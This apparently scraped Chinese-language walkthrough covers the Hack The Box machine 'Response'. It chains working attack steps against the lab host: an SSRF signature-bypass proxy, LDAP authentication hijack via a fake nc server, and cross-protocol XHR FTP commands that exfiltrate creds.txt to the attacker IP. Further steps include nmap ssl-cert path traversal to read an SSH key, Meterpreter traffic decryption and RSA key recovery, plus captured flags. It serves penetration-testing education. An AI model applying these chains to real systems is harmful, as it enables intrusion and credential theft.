SSRF + LDAP劫持 + CPRF + Nmap-ssl-cert目录穿越 + SMTP劫持 + D-Link + MSF-ELF流量解密 + SSH私钥破译综合渗透教学<\/h1>

信息收集阶段<\/h2>

初始扫描<\/h3>
使用nmap和masscan进行初步扫描：<\/li> <\/ol>
ip=<\/span>'10.10.11.163'<\/span>; itf=<\/span>'tun0'<\/span>;
<\/span><\/span>if<\/span> nmap -Pn -sn "<\/span>$ip"<\/span> | grep -q "Host is up"<\/span>; then<\/span>
<\/span><\/span>  echo -e "\e[32m[+] Target <\/span>$ip is up, scanning ports...\e[0m"<\/span>;
<\/span><\/span>  ports=<\/span>$(<\/span>sudo masscan -p1-65535,U:1-65535 "<\/span>$ip"<\/span> --rate=<\/span>1000<\/span> -e "<\/span>$itf"<\/span> | awk '\/open\/ {print $4}'<\/span> | cut -d '\/'<\/span> -f1 | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span>  if<\/span> [<\/span> -n "<\/span>$ports"<\/span> ]<\/span>; then<\/span>
<\/span><\/span>    echo -e "\e[34m[+] Open ports found on <\/span>$ip: <\/span>$ports\e[0m"<\/span>;
<\/span><\/span>    nmap -Pn -sV -sC -p "<\/span>$ports"<\/span> "<\/span>$ip"<\/span>;
<\/span><\/span>  else<\/span>
<\/span><\/span>    echo -e "\e[31m[!] No open ports found on <\/span>$ip.\e[0m"<\/span>;
<\/span><\/span>  fi<\/span>;
<\/span><\/span>else<\/span>
<\/span><\/span>  echo -e "\e[31m[!] Target <\/span>$ip is unreachable, network is down.\e[0m"<\/span>;
<\/span><\/span>fi<\/span>
<\/span><\/span><\/code><\/pre>
发现开放端口：<\/li>
<\/ol>

22\/tcp: OpenSSH 8.2p1 Ubuntu<\/li>
80\/tcp: nginx 1.21.6 (重定向到http:\/\/www.response.htb)<\/li>
<\/ul>
子域名枚举<\/h3>
echo '10.10.11.163 response.htb www.response.htb'<\/span> >> \/etc\/hosts
<\/span><\/span>feroxbuster -u 'http:\/\/www.response.htb'<\/span>
<\/span><\/span>ffuf -u http:\/\/10.10.11.163 -H "Host: FUZZ.response.htb"<\/span> -w \/usr\/share\/seclists\/Discovery\/DNS\/subdomains-top1million-5000.txt -ac
<\/span><\/span>echo '10.10.11.163 chat.response.htb api.response.htb proxy.response.htb'<\/span> >> \/etc\/hosts
<\/span><\/span><\/code><\/pre>SSRF漏洞利用<\/h2>
API端点发现<\/h3>

通过http:\/\/www.response.htb\/status\/发现API端点<\/li>
使用proxy.response.htb\/fetch端点进行SSRF测试：<\/li>
<\/ol>
# API状态检查<\/span>
<\/span><\/span>curl -X POST http:\/\/proxy.response.htb\/fetch \
<\/span><\/span><\/span><\/span>  -H "Content-Type: application\/json"<\/span> \
<\/span><\/span><\/span><\/span>  -d '{"url":"http:\/\/api.response.htb\/", "url_digest":"cab532f75001ed2cc94ada92183d2160319a328e67001a9215956a5dbf10c545", "method":"GET", "session":"a9144686faaab657551013989fa61b40", "session_digest":"177ebd6ee1a551f0ef67a3e00260798b43ef18018777094f79eda47ab40de96e"}'<\/span>
<\/span><\/span>
<\/span><\/span># 获取服务器列表<\/span>
<\/span><\/span>curl -X POST http:\/\/proxy.response.htb\/fetch \
<\/span><\/span><\/span><\/span>  -H "Content-Type: application\/json"<\/span> \
<\/span><\/span><\/span><\/span>  -d '{"url":"http:\/\/api.response.htb\/get_servers", "url_digest":"3ca24716672824484bd11c4ae8dfdbfef8ca2b94084c597a9d4c03fad7e28df7", "method":"GET", "session":"a9144686faaab657551013989fa61b40", "session_digest":"177ebd6ee1a551f0ef67a3e00260798b43ef18018777094f79eda47ab40de96e"}'<\/span>
<\/span><\/span><\/code><\/pre>签名绕过技术<\/h3>

发现PHPSESSID以数组方式传递时发生错误<\/li>
\/var\/www\/html\/status\/main.js.php的hash_hmac会对传入的session进行签名(sha256)<\/li>
创建代理服务器生成有效签名：<\/li>
<\/ol>
import<\/span> base64
<\/span><\/span>import<\/span> os.path
<\/span><\/span>import<\/span> re
<\/span><\/span>import<\/span> requests
<\/span><\/span>from<\/span> flask import<\/span> Flask, request, Response
<\/span><\/span>
<\/span><\/span>app =<\/span> Flask(__name__)
<\/span><\/span>mimetypes =<\/span> {"css"<\/span>: "text\/css"<\/span>, "js"<\/span>: "application\/javascript"<\/span>}
<\/span><\/span>
<\/span><\/span>def<\/span> get_digest<\/span>(target):
<\/span><\/span>    cookies =<\/span> {'PHPSESSID'<\/span>: target}
<\/span><\/span>    resp =<\/span> requests.<\/span>get('http:\/\/www.response.htb\/status\/main.js.php'<\/span>, cookies=<\/span>cookies)
<\/span><\/span>    digest =<\/span> re.<\/span>findall("'session_digest':'([a-f0-9]+)'"<\/span>, resp.<\/span>text)[0<\/span>]
<\/span><\/span>    return<\/span> digest
<\/span><\/span>
<\/span><\/span>@app<\/span>.<\/span>route('\/'<\/span>, defaults=<\/span>{'path'<\/span>: ''<\/span>}, methods=<\/span>["GET"<\/span>, "POST"<\/span>])
<\/span><\/span>@app<\/span>.<\/span>route('\/<path:path>'<\/span>, methods=<\/span>["GET"<\/span>, "POST"<\/span>])
<\/span><\/span>def<\/span> all<\/span>(path):
<\/span><\/span>    target =<\/span> request.<\/span>url
<\/span><\/span>    body =<\/span> {
<\/span><\/span>        "url"<\/span>: target,
<\/span><\/span>        "url_digest"<\/span>: get_digest(target),
<\/span><\/span>        "method"<\/span>: request.<\/span>method,
<\/span><\/span>        "session"<\/span>: "2f54d5421b84fbcf96ca7f4b7e8b28d7"<\/span>,
<\/span><\/span>        "session_digest"<\/span>:"628ddf8d85a8adc6f84b08362dfff13de0cb0ee4698b642333e0f94db0de64f6"<\/span>
<\/span><\/span>    }
<\/span><\/span>    if<\/span> request.<\/span>method ==<\/span> "POST"<\/span>:
<\/span><\/span>        body['body'<\/span>] =<\/span> base64.<\/span>b64encode(request.<\/span>data).<\/span>decode()
<\/span><\/span>    resp =<\/span> requests.<\/span>post('http:\/\/proxy.response.htb\/fetch'<\/span>, json=<\/span>body, proxies=<\/span>{'http'<\/span>:'http:\/\/127.0.0.1:8080'<\/span>})
<\/span><\/span>    result =<\/span> resp.<\/span>json()
<\/span><\/span>    if<\/span> 'error'<\/span> in<\/span> result:
<\/span><\/span>        return<\/span> result
<\/span><\/span>    if<\/span> result['status_code'<\/span>] ==<\/span> 200<\/span>:
<\/span><\/span>        body =<\/span> base64.<\/span>b64decode(result['body'<\/span>])
<\/span><\/span>        mimetype =<\/span> mimetypes.<\/span>get(target.<\/span>rsplit('.'<\/span>, 1<\/span>)[-<\/span>1<\/span>], 'text\/html'<\/span>)
<\/span><\/span>        return<\/span> Response(body, mimetype=<\/span>mimetype)
<\/span><\/span>    return<\/span> resp.<\/span>text
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>:
<\/span><\/span>    app.<\/span>run(debug=<\/span>True<\/span>, port=<\/span>8001<\/span>)
<\/span><\/span><\/code><\/pre>LDAP劫持与认证绕过<\/h2>
初始认证<\/h3>

发现chat.response.htb使用LDAP认证<\/li>
默认凭证：guest\/guest<\/li>
<\/ol>
LDAP劫持<\/h3>

创建恶意LDAP响应：<\/li>
<\/ol>
echo -ne '\x30\x0C\x02\x01\x01\x61\x07\x0A\x01\x00\x04\x00\x04\x00'<\/span> | nc -lvnp 389<\/span>
<\/span><\/span><\/code><\/pre>
修改认证请求指向攻击者控制的LDAP服务器：<\/li>
<\/ol>
{
<\/span><\/span>  "username"<\/span>:"admin"<\/span>,
<\/span><\/span>  "password"<\/span>:"adminhacked"<\/span>,
<\/span><\/span>  "authserver"<\/span>:"10.10.16.33"<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>CPRF与FTP主动模式利用<\/h2>
FTP凭证发现<\/h3>

FTP服务器：172.18.0.2:2121<\/li>
用户名：ftp_user<\/li>
密码：Secret12345<\/li>
<\/ul>
利用XHR发送FTP命令<\/h3>
<script<\/span>>
<\/span><\/span>var<\/span> xhr<\/span> =<\/span> new<\/span> XMLHttpRequest<\/span>();
<\/span><\/span>xhr<\/span>.open<\/span>("POST"<\/span>, "http:\/\/172.18.0.2:2121"<\/span>, true<\/span>);
<\/span><\/span>xhr<\/span>.send<\/span>("USER ftp_user\r\nPASS Secret12345\r\nPORT 10,10,16,33,223,1\r\nLIST\r\n"<\/span>);
<\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>文件下载<\/h3>
<script<\/span>>
<\/span><\/span>var<\/span> xhr<\/span> =<\/span> new<\/span> XMLHttpRequest<\/span>();
<\/span><\/span>xhr<\/span>.open<\/span>("POST"<\/span>, "http:\/\/172.18.0.2:2121"<\/span>, true<\/span>);
<\/span><\/span>xhr<\/span>.send<\/span>("USER ftp_user\r\nPASS Secret12345\r\nPORT 10,10,16,33,223,1\r\nRETR creds.txt\r\n"<\/span>);
<\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>Nmap ssl-cert目录穿越漏洞利用<\/h2>
LDAP信息收集<\/h3>
ldapsearch -x -D "cn=admin,dc=response,dc=htb"<\/span> -w "aU4EZxEAOnimLNzk3"<\/span> -s sub -b "ou=servers,dc=response,dc=htb"<\/span> "(objectclass=ipHost)"<\/span>
<\/span><\/span><\/code><\/pre>创建恶意LDAP条目<\/h3>
dn: cn=maptnh,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: maptnh
manager: uid=marie,ou=customers,dc=response,dc=htb
ipHostNumber: 10.10.16.33
<\/code><\/pre>
设置恶意SSL证书<\/h3>
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365<\/span> -nodes -subj "\/C=US\/ST=home\\/scryh\\/.ssh\\/id_rsa\/O=maptnh Inc\/OU=H4CK13"<\/span>
<\/span><\/span><\/code><\/pre>配置DNS和SMTP<\/h3>

配置dnsmasq：<\/li>
<\/ol>
vim \/etc\/dnsmasq.conf
<\/span><\/span>listen-address=<\/span>10.10.16.33
<\/span><\/span>address=<\/span>\/.maptnh.htb\/10.10.16.33
<\/span><\/span>mx-host=<\/span>response-test.htb,maptnh.htb,0
<\/span><\/span>sudo systemctl restart dnsmasq
<\/span><\/span><\/code><\/pre>
启动SMTP服务器：<\/li>
<\/ol>
python -m smtpd -n -c DebuggingServer 10.10.16.33:25
<\/span><\/span><\/code><\/pre>D-Link文件共享利用<\/h2>
设置D-Link服务器<\/h3>
.\/dlink server --port 10098<\/span> --path \/tmp\/scryh\/tran --key abcdefgh &
<\/span><\/span>.\/dlink server --port 10099<\/span> --path \/tmp\/scryh\/tran --key abcdefgh --reverse &
<\/span><\/span><\/code><\/pre>目标机连接<\/h3>
.\/dlink client --endpoint "10.10.16.33:10098"<\/span> --path \/home\/scryh\/incident_2022-3-042 --key abcdefgh &
<\/span><\/span>.\/dlink client --endpoint "10.10.16.33:10099"<\/span> --path \/home\/scryh\/incident_2022-3-042 --key abcdefgh --reverse &
<\/span><\/span><\/code><\/pre>Meterpreter流量解密<\/h2>
提取AES密钥<\/h3>
bulk_extractor core.auto_update -o bulk_extractor\/
<\/span><\/span>cat aes_keys.txt
<\/span><\/span><\/code><\/pre>找到AES密钥：f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5<\/code><\/p>
解密脚本<\/h3>
#!\/usr\/bin\/env python3<\/span>
<\/span><\/span>import<\/span> uuid
<\/span><\/span>from<\/span> Crypto.Cipher import<\/span> AES
<\/span><\/span>from<\/span> scapy.all import<\/span> *<\/span>
<\/span><\/span>from<\/span> msfconsts import<\/span> tlv_types, cmd_ids
<\/span><\/span>
<\/span><\/span>enc_types =<\/span> {0<\/span>: "None"<\/span>, 1<\/span>: "AES256"<\/span>, 2<\/span>: "AES128"<\/span>}
<\/span><\/span>packet_types =<\/span> {0<\/span>: "Req"<\/span>, 1<\/span>: "Resp"<\/span>}
<\/span><\/span>aes_key =<\/span> bytes.<\/span>fromhex('f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5'<\/span>)
<\/span><\/span>
<\/span><\/span>def<\/span> xor<\/span>(buf, key):
<\/span><\/span>    return<\/span> bytes([x ^<\/span> key[i %<\/span> len(key)] for<\/span> i, x in<\/span> enumerate(buf)])
<\/span><\/span>
<\/span><\/span># 解密处理代码...<\/span>
<\/span><\/span><\/code><\/pre>SSH私钥破译<\/h2>
发现部分私钥<\/h3>
从解密数据中找到部分私钥：<\/p>
ntEd3KnWNpkbwp28vVgasUOq3CQBbDOQAAAMEAxwsaGXCZwMb\/JH88XvGhu1Bo2zomIhaVMrbN5x4q3c7Z0u9gmkXO+NWMpX7T20l0OBEIhrW6DQOsxis\/CrS5u69F6tUZjlUdNE1zIE7IFv2QurMwNL89\/SnlQbe24xb+IjafKUaOPsNcpFakP4vxnKL+uw6qFoqRdSZyndgArZKDK26Z7ZzdV2ln2kyiLfokN8WbYxHeQ\/7\/jVBXf71BU1+Xg8X44njVp3Xf9gO6cYVaqb1xBsZ7bG8Warkycj7ZAAAADXJvb3RAcmVzcG9uc2UBAgMEBQ==
<\/code><\/pre>
使用RsaCtfTool恢复私钥<\/h3>
python RsaCtfTool.py --publickey authorized_keys --dumpkey
<\/span><\/span><\/code><\/pre>计算缺失参数<\/h3>
q=<\/span>int('c70b1a197099c0c6ff247f3c5ef1a1bb5068db3a2622169532b6cde71e2addced9d2ef609a45cef8d58ca57ed3db497438110886b5ba0d03acc62b3f0ab4b9bbaf45ead5198e551d344d73204ec816fd90bab33034bf3dfd29e541b7b6e316fe22369f29468e3ec35ca456a43f8bf19ca2febb0eaa168a917526729dd800ad92832b6e99ed9cdd576967da4ca22dfa2437c59b6311de43feff8d50577fbd41535f9783c5f8e278d5a775dff603ba71855aa9bd7106c67b6c6f166ab932723ed9'<\/span>, 16<\/span>)
<\/span><\/span>p =<\/span> n\/\/<\/span>q
<\/span><\/span>phi =<\/span> (p-<\/span>1<\/span>)*<\/span>(q-<\/span>1<\/span>)
<\/span><\/span>d =<\/span> pow(e, -<\/span>1<\/span>, phi)
<\/span><\/span><\/code><\/pre>最终权限提升<\/h2>
使用恢复的SSH私钥登录<\/h3>
ssh -i recovered_key root@response.htb
<\/span><\/span><\/code><\/pre>获取最终flag<\/h3>

User flag: 04b2cb1b44a49538de54fa1de3c33191<\/code><\/li>
Root flag: b7cb217e7152b4bff571b5bbaefa18da<\/code><\/li>
<\/ul>
关键知识点总结<\/h2>

SSRF利用<\/strong>：通过签名绕过和代理服务器构造实现内部服务访问<\/li>
LDAP劫持<\/strong>：通过控制LDAP响应实现认证绕过<\/li>
CPRF+FTP<\/strong>：利用浏览器XHR发送原始FTP命令实现文件泄露<\/li>
Nmap漏洞<\/strong>：利用ssl-cert脚本的目录穿越读取敏感文件<\/li>
D-Link工具<\/strong>：实现双向文件传输绕过限制<\/li>
流量解密<\/strong>：从内存转储中提取AES密钥解密Meterpreter会话<\/li>
RSA私钥恢复<\/strong>：通过部分私钥和数学计算恢复完整私钥<\/li>
<\/ol>
此渗透测试展示了多种高级技术的综合应用，强调了在复杂环境中需要结合多种漏洞和技术才能实现最终目标。<\/p>